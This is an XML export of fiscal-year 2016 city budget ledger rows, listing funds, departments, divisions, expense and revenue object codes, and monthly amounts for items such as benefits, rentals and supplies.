<row _id="22565"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2000</total></row>
<row _id="22566"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="22567"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22568"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22569"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>158918</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>158918</total></row>
<row _id="22570"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6749</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6749</total></row>
<row _id="22571"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-9536</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9536</total></row>
<row _id="22572"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>41074</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>41074</total></row>
<row _id="22573"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-5785</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5785</total></row>
<row _id="22574"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1432</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1432</total></row>
<row _id="22575"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7553</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7553</total></row>
<row _id="22576"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5400</total></row>
<row _id="22577"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>24367</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24367</total></row>
<row _id="22578"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2872</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2872</total></row>
<row _id="22579"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6178</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6178</total></row>
<row _id="22580"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>523010.0</object><object_description>ENVIRONMENTAL SERVICES FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3700</total></row>
<row _id="22581"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400620.0</object><object_description>RESURFACING PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-18149</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-18149</total></row>
<row _id="22582"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>840</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>840</total></row>
<row _id="22583"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544015.0</object><object_description>FIELD EQUIP &amp; TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5192</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5192</total></row>
<row _id="22584"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402940.0</object><object_description>BEACH CONV FUEL STN REPL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-7500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7500</total></row>
<row _id="22585"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>428</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>428</total></row>
<row _id="22586"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544112.0</object><object_description>SIGNAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>21930</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21930</total></row>
<row _id="22587"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555018.0</object><object_description>OUTSIDE REPAIRS/SERV-BUS STOP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>139650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>139650</total></row>
<row _id="22588"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22589"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>404150.0</object><object_description>LIBRARY COMPUTER SESSIONS FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-25000</total></row>
<row _id="22590"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>404970.0</object><object_description>OFFSITE IMPROVEMENTS REIMBURSE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22591"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404711.0</object><object_description>EVENT RENTALS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22592"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-66000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-66000</total></row>
<row _id="22593"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>405140.0</object><object_description>415 PCH - CONCESSIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-181500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-181500</total></row>
<row _id="22594"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>17023</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17023</total></row>
<row _id="22595"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9719</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9719</total></row>
<row _id="22596"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>988</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>988</total></row>
<row _id="22597"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22598"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>545010.0</object><object_description>AQUATIC SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="22599"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>171447</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>171447</total></row>
<row _id="22600"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12324</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12324</total></row>
<row _id="22601"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>926</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>926</total></row>
<row _id="22602"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>569360.0</object><object_description>INNOVATIONS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>16000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16000</total></row>
<row _id="22603"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>43383</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>43383</total></row>
<row _id="22604"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>408490.0</object><object_description>RESIDENTIAL REPORT MONITORING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-1500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1500</total></row>
<row _id="22605"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408570.0</object><object_description>BIKESHARE AQMD GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-40000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-40000</total></row>
<row _id="22606"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408540.0</object><object_description>MULTI MODAL TRAVEL &amp; PARKING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22607"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>883</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>883</total></row>
<row _id="22608"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522311.0</object><object_description>DISCOUNTS AVAILABLE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22609"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>50305</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50305</total></row>
<row _id="22610"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>190537</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>190537</total></row>
<row _id="22611"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>476887</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>476887</total></row>
<row _id="22612"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1706</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1706</total></row>
<row _id="22613"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
